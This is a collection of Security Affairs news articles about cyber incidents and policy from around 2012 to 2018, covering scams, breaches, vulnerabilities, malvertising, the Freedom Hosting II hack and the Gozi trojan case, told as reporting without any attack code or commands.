requests., Individuals responsible for handling wire transfers within a specific companies are privileged targets of criminals which compose well-worded e-mail requests for a wire transfer., The attacker behind Business Email Compromise scams shows a deep knowledge of their victims, their requests are proportional to the economic capabilities of the target and of the specific individual used as the sender of the request. The criminals sent e-mails concurrently with business travel dates for executives whose e-mails were spoofed., Be careful!, Pierluigi Paganini, (Security Affairs – Business Email Compromise, cyber attack) |
3640_46539 | The Australian Government announced its cyber security strategy that includes AU$230 million spending over four years to improve the resilience to cyber attacks of the national critical infrastructure., The strategy is very complete, it includes defensive aspects for both public and private industries and also the economic support for 5000 security tests for medium enterprises and information sharing activities., The Prime Minister Malcolm Turnbull outlined the investments in cyber security, the government will spend $230 million for measures that include the establishment of Joint Cyber Threat Centres., Roughly AU$3om will be reserved for the creation of a Cyber Security Growth Centre with the private sector, the organization aims to coordinate the national cyber security innovation network. Other AU$47m will be spent to establish joint intelligence sharing centres in the most important cities of the country., , According to the cyber security strategy, the Government will also spend AU$41m to improve the capabilities of the national Computer Emergency Response Team (CERT Australia) and recruit new cyber security experts in the strategic Government agencies, including the Australian Federal Police, Crime Commission, and Australian Signals Directorate., Prime Minister Malcolm Turnbull explained that national cyber resources are only involved in attacks in defense and deterrence purposes. Hi did not acknowledge cyber espionage activities conducted for intelligence purposes, even the ones operated by the Five Eyes alliance., “The role of security is as important today as it has been in the past,” said Prime Minister Malcolm Turnbull Turnbull told reporters. “Within very specific circumstances the Government will work with the private sector within agreed legal frameworks and oversight to fight serious online crime and extremism.” “Collaboration is absolutely key.”, A part of the presentation offered by the Minister is very meaningful because open to the use of offensive cyber security capabilities conducted by the Australian Signals Directorate., Mr Turnbull admitted for the first time that the Federal Government has the ability to launch cyber attacks against its adversaries., “An offensive cyber capability housed in the Australian signals directorate provides another option for Government to respond,” he said., “The use of such a capability is subject to stringent legal oversight.” “… defensive measures may not always be adequate to respond to serious cyber incidents against Australian networks … an offensive cyber security capability housed in the Australian Signals Directorate provides another option for governments to respond.” states the Prime Minister., “The use of such as capability is subject to stringent legal oversight and is consistent with our support for the international rules-based order, and our obligations under international law., “Acknowledging this offensive capability adds a level of deterrence, it adds to our credibility as we promote norms of good behaviour on the international stage and, importantly, familiarity with offensive measures enhances our defensive capabilities as well.”, The politician also cited the security breaches of the Bureau of Meteorology and the Department of Parliamentary Services, arguing the necessity to improve the cyber security posture of the country., The Prime Minister has appointed Children’s eSafety Commissioner Alastair MacGibbon as his special adviser on cyber security, he will be responsible for leading development of cyber security strategy and policy., Mr Turnbull introduced him as the man responsible for a “cultural change” on the approach to the cyber security., The new cyber strategy introduces also new figures like the Assistant Minister on Cyber Security and the Cyber Ambassador., , Pierluigi Paganini, (Security Affairs – Australian Cyber Security Strategy, Information Warfare) |
1265_25723 | TinKod noticed an anomalous behavior while making a transaction using PayPal back in 2010, he explained that a person was trying to scam him with his money using the same chargeback process., Once noticed the attempt of scam and to avoid paying charges, he transferred all his money from his temporary account to his another real PayPal account. After a month, when he checked is Paypal balance he noticed that it was negative., “A Chargeback, also known as a reversal, occurs when a buyer asks a credit card company to reverse a transaction that has already cleared” and this could be done when the buyer’s credit card number is stolen and used fraudulently or if seller tries to fraud.” said TinKode., TinKode demonstrated to the PayPal security team the presence of a loophole in PayPal service which allows any user to double its amount endlessly. Following the description provided as proof of concept by using three separate PayPal account with one real and other two verified using Virtual Credit Card (VCC) and Virtual Bank Account (VBA)., , POC Scenario:, Pierluigi Paganini, (Security Affairs – PayPal, Fraud) |
2585_38943 | Nick Bilogorskiy, a security researcher at Cyphort revealed that 10 million users may have been infected in ten days due to a malvertising and exploit kit campaign. According to the expert threat actors behind the malvertising campaign used the popular Angler exploit kit to compromise million computers worldwide., , The campaign dates back to at least 11 July, the experts observed several infections across Asia, the US, and in some European countries., “In the last 10 days, Cyphort Labs found many more infected domains – they are listed below. Please refrain going to these sites as they are dangerous.
We have notified e-planning.net about this issue and they are actively working to resolve it. At least 10 million people have visited these websites and were potentially exposed to the Angler exploit kit in the last 10 days according to our estimates and data from SimilarWeb.” states the post published by the company., As usually happens in malvertising campaigns, the attackers used to compromise websites with a large number of visitors, in this case among the websites exploited by hackers to spread the malware there were the Japanese branch of The Huffington Post, Magna entityreadms.com, and the Indonesian paper bisnis.com. Below the complete list of compromised domains., “All of these appear to be top popular websites in various countries including Vietnam, Turkey, Japan, Saudi Arabia, and Germany.”, Bilogorskiy confirmed that Cyphort Labs has advised the companies affected by the malvertising campaign, including Microsoft Azure, and the ad platforms E-Planning.net and adtech.de., The experts at Cyphort Labs noticed that cyber criminals adopted any precaution to avoid to raise suspicion, including the use of multiple SSL redirectors to encrypt traffic., Below an example of redirection chain adopted for this campaign., Malvertising campaigns are very insidious, in June security experts noticed a spike in the malicious activity, hackers served malicious ads on popular sites including The Drudge Report, CBS Sports, the PerezHilton magazine, Yahoo, Verizon FiOS, and eBay UK., Pierluigi Paganini, (Security Affairs – Malvertising, cybercrime) |
5351_60185 | A few hours ago, the popular investigator and cyber security expert Brian Krebs contacted the Buckle Inc. company after sources in the financial sector reported him about a possible card breach at the retailer., “On Friday morning, KrebsOnSecurity contacted The Buckle after receiving multiple tips from sources in the financial industry about a pattern of fraud on customer credit and debit cards which suggested a breach of point-of-sale systems at Buckle stores across the country.” reported KrebsOnSecurity., An official statement issued by the retail confirmed that a point-of-sale malware was discovered on cash registers at Buckle retail stores., The Buckle Inc. is a clothier that operates more than 450 stores in 44 US states, on Friday the company disclosed that payment systems at its retail locations were infected by a malware used to steal credit card data., Store front for The Buckle, a Kearney, Neb., based clothing chain., According to the company, the PoS malware was stealing customer credit card data between Oct. 28, 2016 and April 14, 2017. According to the company, online sales were not affected by the card breach., “We became aware that The Buckle, Inc. was a victim of a security incident in which a criminal entity accessed some guest credit card information follow purchases at some of our retail stores. We immediately launched a thorough investigation and engaged leading third party forensic experts to review our systems and secure the affected part of our network.” states the announcement published by the company., “Through that investigation we learned that our store payment data systems were infected with a form of malicious code, which was quickly removed. Based on the forensic investigation, we believe that no social security numbers, email addresses or physical addresses were obtained by those criminally responsible. There is also no evidence that the buckle.com website or buckle.com guests were impacted.”, Crooks used malware to capture data stored on the magnetic stripe and clone the cards., The Buckle Inc. confirmed that its stores are equipped with EMV-capable card terminals, this means that customers who shopped at compromised Buckle stores using a chip-based card would not be affected by the card breach., The company is currently investigating the card breach with card brands and forensic investigation services., “All Buckle stores had EMV (“chip card”) technology enabled during the time that the incident occurred and we believe the exposure of cardholder data that can be used to create counterfeit cards is limited. However, it is possible that certain credit card numbers may have been compromised.” states the company., “We take the protection of payment card data very seriously. We are cooperating fully with card brands and forensic investigation services. Any affected individuals either have or will likely receive communications from their issuing banks with additional instructions and/or replacement cards. In line with best practice, we recommend that individuals closely monitor their payment card account statements.”, Pierluigi Paganini, (Security Affairs – Buckle Inc. company, card breach) |
3528_45587 | In the last weeks, we have followed the case of the San Bernardino shooter’s iPhone that a few days ago reached an unexpected conclusion, the FBI announced on Monday to have found a way to unlock the mobile device without the Apple’s help., The court filing doesn’t provide technical details on the technique, but confirmed that an independent party demonstrated to the US authorities a technique for unlocking the controversial iPhone., “On Sunday, March 20, 2016, an outside party demonstrated to the FBI a possible method for unlocking Farook’s iPhone,” revealed the lawyers for the US Government in a court filing Monday afternoon. “Testing is required to determine whether it is a viable method that will not compromise data on Farook’s iPhone. If the method is viable, it should eliminate the need for the assistance from Apple set forth in the All Writs Act Order in this case,” , Now the name of the company is circulating on the Internet, it is the Israeli mobile forensics firm Cellebrite that is one of the leading companies in the world in the field of digital forensics. The company already works with the principal law enforcement and intelligence agencies worldwide., Cellebrite provides the FBI with decryption technology as part of a contract signed in 2013, its technology allows investigators to extract information from mobile devices., “Cellebrite’s technology is able to extract valuable information from cellular devices that could be used in criminal and intelligence investigations, even if the phone and the information it contains are locked and secure.” states a blog post published on the Israeli YNetNews., “Cellebrite’s Advanced Investigative Services (CAIS) offers global law enforcement agencies a breakthrough service to unlock Apple devices running iOS 8.x. This unique capability is the first of its kind – unlock of Apple devices running iOS 8.x in a forensically sound manner and without any hardware intervention or risk of device wipe.” reports the company website.“Cellebrite’s unlocking capability supports the following devices: iPhone 4S / 5 / 5C, iPad 2 / 3G / 4G,iPad mini 1G, and iPod touch 5G running iOS 8 – 8.0 / 8.0.1/ 8.0.2 / 8.1 / 8.1.1 / 8.1.2 / 8.1.3 / 8.2/ 8.3 / 8.4 / 8.4.1.”, One of its main solutions designed by the company is the Universal Forensic Extraction Device (UFED) that could be used to extract all data and passwords from mobile phones., , If Cellebrite will be able to crack the San Bernardino shooter’s iPhone, the FBI will no longer need the Apple’s help., , According to public documents, the FBI Feds committed to a $15,278 “action obligation” with Cellebrite., At the time I was writing there were no details of the contract between the FBI and the Cellebrite firm., Pierluigi Paganini, (Security Affairs – San Bernardino shooter’s iPhone, hacking) |
3143_42832 | A remote code execution vulnerability dubbed “666” affect FireEye Appliances, hackers can exploit the flaw simply by sending an email or tricking users into clicking on a link., The 666 vulnerability resided in a module designed to analyze Java Archive (JAR) files, so the attacker can exploit it by sending a specially crafted JAR file across a network protected by FireEye appliances. The flaw has been coded “666” because of its ID in the Project Zero bug tracker., This is possible by sending an email containing such a JAR file to the targeted organization, be aware because it is worth noting that the email would not have to be read for the malicious code to get executed because the appliances analyze the JAR archive anyway., In the alternative, the attacker can share with someone in the organization a link pointing to a crafted JAR file. FireEye appliances automatically scan for files circulating in the network, but the same behavior could be exploited to trigger the RCE vulnerability without user interaction., , “The FireEye MPS (Malware Protection System) is vulnerable to a remote code execution vulnerability, simply from monitoring hostile traffic. FireEye is designed to operate as a passive network tap, so that it can see all the files and emails that enter a monitored network.” States the advisory published by the Project Zero. “This vulnerability allows an attacker to compromise the FireEye device, get a root shell and start monitoring all traffic on the victim network (emails, attachments, downloads, web browsing, etc). This is about the worst possible vulnerability that you can imagine for a FireEye user, it literally does not get worse than this.”, FireEye appliances are used by enterprise to monitor internal networks, they are able to monitor FTP, HTTP, SMTP and other protocols searching for potential threats., The exploitation of the flaw could allow attackers to compromise networks protected by the security products., This made it possible for the RCE vulnerability found by Google researchers to be exploited without user interaction., Earlier this month, the researchers Tavis Ormandy and Natalie Silvanovich from the Google Project Zero announced the discovery of the critical flaw., Frey immediately worked to fix the security issue reported by the hackers., The experts announced last week that they had developed a reliable exploit for a remote code execution (RCE) vulnerability affecting FireEye’s Malware Protection System (MPS)., “Because FireEye devices typically have a secondary internet-connected interface for updates and management, the issue could even be wormable across the internet,” Ormandy explained., Of course, they avoided providing further technical details, but Ormandy noted on Twitter that the bug likely affected “every version ever shipped.”, According to Tavis Ormandy and Natalie Silvanovich, the issue affected FireEye’s Network Security (NX), Email Security (EX), Malware Analysis (AX), and File Content Security (FX) products. The experts at FireEye promptly patched the remote code execution (RCE) vulnerability within two days even they issued a temporary workaround within hours., FireEye released the security content version 427.334., The flaw discovered by the Google Project Zero team is unique, the experts also discovered a privilege escalation vulnerability that could have been exploited to obtain root access to a FireEye device., The details of this second flaw have not been disclosed because the vendor is still working on a permanent fix., The joint exploitation of the two flaws could allow the a threat actor to compromise the internal network by deploying a stealth rootkit on the affected appliance and syphon sensitive data from the targeted host., Pierluigi Paganini, (Security Affairs – FireEye Appliances, hacking) |
7556_79115 | Ankit Anubhav, a principal researcher at NewSky Security, discovered a vulnerability in some models of Huawei routers that could be exploited by attackers to determine whether the devices have default credentials or not, without connecting to them, The flaw, tracked as CVE-2018-7900, resides in the router administration panel and allows credentials information to leak. An attacker could use IoT search engines such as ZoomEye or Shodan to scan the internet for devices having default passwords., “CVE-2018–7900 makes the process of attacking a router even more simplified. Rather than doing a spray and pray technique (attack any device whether it has default credentials or not), an attacker can easily find a way to tell whether the router has default credentials without the need to connect to the device, since the router panel leaks this information.” reads the blog post published by the expert., “Hence the attacker can craft a ZoomEye / Shodan dork to implicitly get a list of the devices having default password. “, The expert pointed out that analyzing the HTML source code of login page it is possible to observe that a few variables are declared and one of them contains a specific value. By analyzing this value it is possible to determine if the device has the defailt password., This information could be used by attackers to query IoT search engines and retrieve a list of devices and associated login., “How Easy CVE-2018-7900 Makes It Easy to Hack These Devices” continues the expert, Huawei already fixed the vulnerability, but is working with carrier operators for complete resolution. , NewSky will not disclose details of the flaw to avoid its massive exploitation., Below the timeline of the vulnerability:, Pierluigi Paganini, (SecurityAffairs – Huawei routers, hacking), |
409_10585 | The large diffusion of new services on mobile platforms and social networks was accompanied with a sensible increase of cyber crimes, mainly of identity theft. The US nonprofit consumer watchdog organization Consumer Reports has recently spread an alert on online purchases benefiting of Cyber Monday sales and more in general of discounts for this holiday season., In this period of the year cyber criminals are very active, with different techniques they operate to steal banking credentials and any other personal information to realize computer frauds., Consumer Reports reported that more than 3.7 million online households in US suffered of personal information leak due cybercrime or accidental lost in 2011., The problem are originated by lack of proper authentication mechanisms for principal on-line shops and also by misconduct of buyers, following few tips provided by the Consumer Reports association:, Personal data are valuable goods able to attract for various reasons a great interest, data theft and identify theft are very common crimes and the figures behind them are extremely high., Last week Greek police HAS arrested a man on suspicion of stealing the personal data of roughly two thirds of the country’s population according the declaration of law enforcement. Almost all of the Greek population robbed of their information, that’s amazing and could give an idea on how much simple is to commercialize the “information” and how attractive it is., “The guy arrested is a computer programmer, it was also suspected of attempting to sell the 9 million files containing identification card data, addresses, tax ID numbers and license plate numbers.”, At the moment there aren’t info regarding the way the data have been stolen, the investigation believe that they could be the result of an attack against government services other possibility is that the guy received the information by an insider., The situation is really alarming and could and could only get worse, the increasing interest of cybercrime in the sail of sensible information and the leak of security of many applications and services is an explosive mixture., Christmas is near and web users must be aware of cyber threats that will target mainly mobile users according McAfee, the famous security firm provides that one in four mobile device users will use their smartphones to shop online this year. McAfee listed the most top 12 scams for the period, they aren’t totally new, the majority is a revisiting of old fraud schemas, following top five of the list:, To avoid problem and defend personal information internet users should keep updated defense systems and fundamental is also the awareness on the cyber threats but McAfee alerts that it’s not enough because criminals are showing increasing capabilities and are constantly changing tactics., Pierluigi Paganini |
4422_52743 | This week, at the SecurityWeek’s 2016 ICS Cyber Security Conference, researchers at industrial security firm CyberX disclosed several important vulnerabilities., The experts demonstrated how hackers can target ICS systems and passing security measures in places., Among the vulnerabilities disclosed by the experts, there is a flaw affecting a Schneider Electric industrial firewall that could be exploited by hackers for remote code execution., The vulnerability affects products of the Schneider Electric’s ConneXium TCSEFEC family of industrial ethernet firewalls. This family of products is used in the industrial contexts for the protection of SCADA systems, automation systems, industrial networks and other systems., The experts discovered that the web-based administration interface of the Schneider Electric’s ConneXium TCSEFEC firewalls is affected by a buffer overflow. The exploitation of the flaw could allow attackers to execute arbitrary code., , The researchers also reported the flaw to the US ICS-CERT that is to issue a security advisory., A threat actor could exploit the flaw to change firewall rules, eavesdrop on traffic, inject malicious traffic, and disrupt communications., The researchers highlighted that the flaw is exploitable also by attackers that haven’t specific technical skills., “Exploitation of this security hole could also lead to manipulation of control systems, which, in a worst case scenario, could result in physical damage. Programmable logic controllers (PLCs) typically don’t have any type of authentication, allowing attackers to easily gain access and exploit known or zero-day flaws.” reported Eduard Kovacs from Security Week., Unfortunately, it is quite easy for attackers to target Schneider industrial firewalls that are easy to find thanks to search engines such as Shodan or Censys., According to CyberX, the vendor Schneider Electric has already developed a security update to address the vulnerability, but it has yet released it., The researchers from CyberX also reported seven zero-day flaws in PLC systems from a major unnamed vendor that is already working on a security update to fix them., Pierluigi Paganini, (Security Affairs – SCADA, Schneider industrial firewall) |
1901_33100 | Adware is one of the most insidious threat to the mobile platform, this family of malicious code is used by threat actors to automatically display or downloads advertising material when a user is online. Adware represents a serious threat to the user privacy because some ad networks collect a huge quantity of personal information, including email address and phone numbers, data that could be sold in the underground or used for targeted attacks., Security researchers at Avast, have discovered a new strain of adware on the official Google Play Store, and for this reason have infected millions of Android users., The experts have pointed out three popular gaming apps deployed on the Google Play Store that were used to infect with the “adware” the unaware users., The three malicious Android app are:, , The three apps were offered for free in the Play Store and apparently they have been published by different developers, impressive the number of download they reached, the Durak card game app alone has 5 to 10 million installs, total of the three apps have achieved more than 15 Million installs. Once the victims have installed the malicious app on their mobile device, with the passage of time, users can see abnormal behavior and a degradation of the performance of the smartphone, which begins to provide reports of problems and the presence of alleged infections., “Each time you unlock your device an ad is presented to you, warning you about a problem, e.g. that your device is infected, out of date or full of porn. This, of course, is a complete lie. You are then asked to take action, however, if you approve you get re-directed to harmful threats on fake pages, like dubious app stores and apps that attempt to send premium SMS behind your back or to apps that simply collect too much of your data for comfort while offering you no additional value. An even bigger surprise was that users were sometimes directed to security apps on Google Play. These security apps are, of course, harmless, but would security providers really want to promote their apps via adware?” reads a blog post published by Avast., Users could be redirected to malicious content managed by threat actors that could be used for financial scams (i.e. Sign up for a premium SMS service that user has no quested, installation of unwanted app)., In the specific case, users have been redirected to the Google Play store pages for legitimate security applications in order to restore normal operations of the smartphone., “This kind of threat can be considered good social engineering,” states Avast. , Google has already removed the malicious Android apps from its Google Play store, of course the company banned the developers., Pierluigi Paganini, (Security Affairs – adware, Google Play store) |
3519_45499 | Denmark’s FE (Forsvarets Efterretningstjeneste), the country’s intelligence agency, announced last week plans to create a government ‘hacker academy’ in response to the need to improve country cyber security., The Danish hacker academy is a hacking school that will train black hat hackers for offensive and defensive purposes starting from August 1, 2016., The Danish security and intelligence service FE will recruit talented IT nerds interested in supporting the activities of the Danish Government in the cyber space. The FE is worried by the militarization of the cyberspace state, foreign governments could use cyber tools for offensive purpose aimed to cyber espionage and sabotage., The Danish intelligence also plans to train its cyber army against terrorist organisations online., The Danish Government has launched a media campaign using the following the slogan:, “Have you got what it takes to become a member of a secret elite unit?”, , Lars Findsen, the head of FE, is confident that Government experts could support the growth of talented nerds., “This is not about fully-capable hackers – hopefully, there are not many of those out there, anyways – but about people who have the basic skills we can build on,” Findsen told Politiken., The Danish hacker academy provides a training program includes three modules spread across four and a half months., The first one is a basic module on the network and computer security, the second one is a module on defensive hacking, and the training closes teaching offensive hacking techniques to the participants., The Danish hacker academy will be located in Copenhagen, but its location is still a mystery, all the participants that will successfully complete the training will be enrolled in PET’s Computer Network Exploitation team. But beware, only a privileged few will be selected annually., “The selection process will be supervised by psychologists and PET’s own IT specialists and is based on the same recruitment process used for the elite commando frogman corps of the Royal Danish Navy.” states a post published by the FE online., “Officially termed ‘network retrieval‘, in reality the recruits would be helping FE with cyber espionage against foreign powers, writes Politiken – a type of activity that would normally get you sent to prison.“, The experts at FE have no doubt, the Danish hacker academy will provide hacking excellences, high-skilled hackers that will form a new cyber army operating abroad and inside the country., Pierluigi Paganini, (Security Affairs – Danish hacker academy, Information Warfare) |
6217_68028 | The researchers clarify that he did not exploit any vulnerabilities to gain access to Jenkins servers, he simply analyzed open ones., Jenkins is the most popular open source automation server, it is maintained by CloudBees and the Jenkins community., The automation server supports developers build, test and deploy their applications, it has more than 133,000 active installations worldwide with more than 1 million users., The researcher used the Shodan search engine to find Jenkins servers accessible online, he discovered roughly 25,000 instances. The analysis of approximately half of them revealed that 10-20% were misconfigured, then the researchers manually analyzed each of them and notified affected vendors., Tunç highlighted that Jenkins typically requires credentials to the code repository and access to an environment in which to deploy the code, usually GitHub, AWS, and Azure. Failure to configure the application correctly can expose data to serious risk., The researcher discovered that many misconfigured systems provided guest or administrator permissions by default, while others allowed guest or admin access to anyone who registered an account., , Tunç also found some Jenkins servers that implemented SAML/OAuth authentication system linked to Github or Bitbucket, unfortunately, they allowed any GitHub or Bitbucket account to log in rather than legitimate owners., “Misconfigured in this context means any one of the following:, ” wrote the expert in a blog post., Tunç reported that almost all of the misconfigured instances he analyzed also leaked sensitive information, including credentials for private source code repositories, credentials for deployment environments (e.g. usernames, passwords, private keys and AWS tokens), and job log files that included credentials and other sensitive data., The researcher also found Google had exposed sensitive tokens on their Jenkins instance, the company promptly solved the problem after being informed via its bug bounty program., Other instances discovered by the experts that belong to major organizations are:, “It’s 2018 and most organisations don’t have the most basic of responsible disclosure processes in place. Surprisingly (or not) big names fall foul of this problem too.” concluded the researcher., “If you work in InfoSec or are responsible for the security of your infrastructure, now’s a good time to methodically crawl through your infrastructure to ensure you’re not unknowingly exposing sensitive interfaces to the internet. It only takes one misconfigured instance to destroy your business.”, , Pierluigi Paganini, (Security Affairs – CIA Director, email hacking) |
1363_27065 | The US State Department has released a collection of satellite images, via the ambassador in Ukraine Geoffrey Pyatt, that demonstrate that the Russian Army is firing rockets against Ukrainian troops located across the border. The images indicate fire from multiple rocket launchers locates “on the Russian side of the border”. The document was prepared by the US Office of the Director of National Intelligence (DNI), it includes the slides that reports what US officials claim to be “ground scarring at a multiple rocket launch site on the Russian side of the border oriented in the direction of Ukrainian military units within Ukraine.”, The US State Department hasn’t released an official statement for the satellite images, it is just inviting its follower to follow the ambassador Geoffrey Pyatt to receive updates on the situation, anyway actually he has just shared the images on his Twitter account without providing further information., , The satellite images, all dating between July 21 and July 25/26, were sent via email in a four-page document titled “Evidence of Russian Shelling into Ukraine“, they confirm Washington’s suspects that the Russian Government is building up troops close to the border and is using them “firing of Russian heavy weapons from the Russian side of the border at Ukrainian military personnel.”, The satellite images were taken after the crash of the Malaysia Airlines Flight MH17, intelligence experts consider the the evidence of the transportation of heavy artillery from Russia to areas controlled by pro-Russian separatist forces., , The images were spread by the US ambassador to Ukraine, Geoffrey Pyattm via Twitter, they are considered evidence of the military operation conducted in the area near the border between the states. A slide dated July 23th is said to show self-propelled artillery “oriented in the direction of a Ukrainian military unit within Ukraine.” It said that “the pattern of crater impacts near the Ukrainian military unit indicates strikes from artillery” fired from self-propelled or towed artillery, vice multiple rocket launchers “only found in Russian military units, on the Russian side of the border.”, , The image dated July 21this said to be illustrating a “wide area of impacts near the Ukrainian military” that “indicates fire from multiple rocket launchers.” “The bottom impact crater inset shows impacts within a local village,” DNI claimed., Russia’s Defense Ministry has recently confirmed that international inspectors, which include representatives from the US, NATO and Ukraine, who have visited the area haven’t discovered violations made by Moscow’s troops along the Ukrainian borders., “It has come to our attention that new allegations by top US officials as to the alleged amassing of Russian troops along the Ukrainian border have been voiced,” “No instances of violations by Russia along the Ukrainian border had been registered by the inspectors,” the ministry said. “Frequent action by the Ukrainian military taking place on the Russian border has hindered our own ability to perform similar inspections and flybys along our border,” the Russia’s Defense Ministry said., What’s new on the investigation on the MH17 flight?, According to the NYPost pro-Russian rebels are altering MH17 crash site, “British security officials say they have “credible information” that pro-Russian rebels tampered with the crash scene of Malaysian Flight 17 — planting parts from other aircraft at the site in an attempt to foil investigators and push blame for the disaster on Ukrainian forces.” states the journal.“There is evidence starting to emerge of attempts at tampering with the crash scene, moving bodies and black boxes,” one official said, according to The Times of London.“The official added that rebels interfered with the wreckage in order to strengthen the crash narrative concocted by Russian officials and press, which suggests the Boeing 777 was attacked by a Ukrainian SU-25 fighter that was later shot down by separatists.”, Stay tuned for further information., Pierluigi Paganini, Security Affairs – (Ukraine, Russian, MH17) |
4909_56618 | Young security researcher, Luka Sikic from Croatia found a serious vulnerability in Google. He was able to servers of the IT giant to perform a DDoS attack on remote hosts., Out-of-band resource load (classified by PortSwigger) is original name for this type of vulnerability which allows attackers to use vulnerable servers (in this case Google’s) to perform DoS / DDoS attack on a remote host. Basically, the attacker would send a big number of requests to vulnerable web application containing target host as payload, then the vulnerable web application will reflect every request to target address, defined by the attacker. PortSwigger rated this issue severity as high level., During exploitation test, Sikic was able to gain over 700 Mbps traffic after 10,000 requests., , , , However, Google has a caching system which is there to prevent this type of issue. Sikic was able to bypass that security measure and let server think that every request is unique., In his demonstration video, we can see that traffic goes around 300 Mbps, depending on the number of requests per second., , As a mitigation measure for this issue, there should be a better caching mechanism and a detecting system which would not allow an unlimited number of requests to a remote host., We found that this is not the first time Sikic found a vulnerability in Google’s products. Few months before, he found and reported Cross-site Scripting in YouTube, and Big G received reports about these this issue, and Sikic is already listed in Google’s “Hall of fame” list., This 17 years old researcher is already certified by Offensive Security and obtained his OSCP certification., Timeline for the Out-of-band resource load is:, February 18 – Bug Reported
February 19 – More information sent
February 20 – Report Triaged
February 22 – Security Issue Confirmed
February 22 – Google update: Issue is already known to Google, Pierluigi Paganini, (Security Affairs – Out-of-band resource load, DDoS) |
4829_55990 | The collective Anonymous is back, this time the hacker groups breached Freedom Hosting II, a popular Dark Web hosting provider., After the closure of the original Freedom Hosting, Freedom Hosting II (FHII) become one of the largest onion web hosting providers, it is offering free space to any user who signs up for an account., Anonymous targeted the popular Tor hosting provider because it was providing its services to a large number of websites sharing child pornography image., The cyber attack was first spotted by Sarah Jamie Lewis, a privacy researcher at mascherari.press, who noticed the mass defacement during a regular scan of the Tor network., Looks like Freedom Hosting II got pwned. They hosted close to 20% of all dark web sites (previous @OnionScan report) — Sarah Jamie Lewis (@SarahJamieLewis) February 3, 2017, , Since OnionScan started in April, Sarah Jamie Lewis and her team have observed FHII hosting between 1500 and 2000 services or about 15-20% of the total number of active sites in our scanning lists (data related to the last report published in October)., Back to the present, 10,613 .onion sites have taken down as a result of the Freedom Hosting II hack, all sites have been defaced with the following image. As you can see, the Anonymous message also includes a list of hacked websites., Source Bleepingcomputer.com, Below the message published by Anonymous, “Hello Freedom Hosting II, you have been hacked, We are disappointed… This is an excerpt from your front page ‘We have a zero tolerance policy to child pornography.’ – but what we found while searching through your server is more than 50% child porn…, Moreover you host many scam sites, some of which are evidently run by yourself to cover hosting expenses., All your files have been copied and your database has been dumped. (74GB of files and 2.3GB of database), Up to January 31st you were hosting 10613 sites. Private keys are included in the dump. Show full list, We are Anonymous. We do not forgive. We do not forget. You should have expected us., Thanks for your patience, you don’t have to buy data 😉 we made a torrent of the database dump download here, Here another torrernt with all system files (excluding user data) download, You may still donate BTC to 14iCDyeCSp12AmhVfJGxtrzXDabFop4QtU and support us., If you need to get in contact with us, our mail is [email protected], We repeatedly get asked how we got into the system. It was surprisingly easy. Here is how we did it: HOW TO HACK FH2“, Further analysis revealed that the attackers received at least two payments in their Bitcoin wallet, but they opted to publicly leak the data dump via torrent files., Watch out, the 2.3 GB dump may contain disturbing images, don’t download the archive if you don’t need it. Anonymous claims to have downloaded 74GB of files., Joseph cox from Motherboard interviewed one of the Anonymous hackers involved in the attack who explained this was his first hack ever, and he did not plan to take down all websites hosted on Freedom Hosting II., “On Saturday, the hacker claiming responsibility told me in more detail how and why they took down the service.” wrote Cox., “This is in fact my first hack ever,” they said in an email sent from the same address posted to the hacked Freedom Hosting II sites. “I just had the right idea.”, The hacker, who first compromised the service on January 30, told Vice that they found ten child pornography sites that had uploaded so much content that it accounted for nearly half of the total Freedom Hosting II files., The security expert Chris Monteiro who analyzed some of the dumped data confirmed that archive includes .onion URLs hosting botnets, fraud sites, fetish websites hacked data, and of course child abuse websites., The archive is full of private keys related to the dark web sites that could be used to impersonate them., , , It's hungry work combing through these leaked databases pic.twitter.com/A6Dstu52No, — Deku_shrub (@Deku_shrub) February 3, 2017, , Did you know you can access the WWE from the hacked accounts on the darknet? Am disappointed at the lack of John Cena references pic.twitter.com/It3TKWjd5q, — Deku_shrub (@Deku_shrub) February 3, 2017, , Looks like some botnets will have been knocked out in the Freedom Hosting II hack too pic.twitter.com/UaVOiFSrr3, — Deku_shrub (@Deku_shrub) February 3, 2017, , Below the step-by-step procedure followed by Anonymous to hack Freedom Hosting II., Stay Tuned., , Pierluigi Paganini, (Security Affairs – Freedom Hosting II, Anonymous) |
470_11985 | The news is sensational US authorities blamed 3 individuals of a large scale malware-based attack against banking world, the trojan infected at least one million computers stealing millions of dollars., The three are the Russian Nikita Kuzmin (25 year old), Latvian resident Deniss Calovskis (27 year old) and Romanian Mihai Ionut Paunescu (28 year old) were the creators of Gozi Trojan, considered by DoJ “one of the most financially destructive computer viruses in history” and that hit around 40000 US computers, including systems at NASA., , The Gozi Trojan appeared for first time in 2007, the typical method of spread is through sending a compromised PDF document to the victim, during the last 5 years he infected millions of computers all over the world causing tens of millions of dollars in losses., The cyber criminals were well organized, Kuzmin designed the malware, Calovskis was involved in malware creation and Paunescu was responsible for providing “bulletproof hosting” service to distribute various malware such as ZeuS and the same Gozi., Calovskis is considered the mind if the operation, he is a talent and according the authorities he is also creators of “web injects” code to propose altered web pages of bank accounts to the victims to hide the scam., FBI Assistant Director-in-Charge George Venizelos declared:, “This long-term investigation uncovered an alleged international cybercrime ring whose far-reaching schemes infected at least one million computers worldwide and 40,000 in the US, and resulted in the theft or loss of tens of millions of dollars. Banking Trojans are to cyber criminals what safe-cracking or acetylene torches are to traditional bank burglars – but far more effective and less detectable. The investigation put an end to the Gozi virus.”, Gozi malware was proposed by the authors also with well-known formula of malware-as-service, the criminals rented out the trojan on a weekly basis through a business called “76 Service” proposed on various underground forums., , The commercialization model created various version of the malware designed to respond to specific request of the buyers., The malicious code has been refined over the years to make more efficient the trojan that in its last version was also able to steal additional personal information mixing social engineering and web injection techniques to provide fake contents., In this phase a joint venture between law enforcement of various states involved in the investigation is collecting evidences to motivate the accusations, the three guys are obviously innocent until proven will not be their responsibility., What is surprising of this history is the efficiency of the monetization process and the model of commercialization, three guys have managed to create huge financial losses for several years let’s think which could be the effect of largest cyber criminal campaigns. Worldwide IT community must be aware on the cyber threats, it is the only way to prevent huge losses, criminal organizations are conducting cyber attacks of increasing complexity difficult to mitigate especially is victims using outdated systems or adopt incorrect behavior., Pierluigi Paganini |
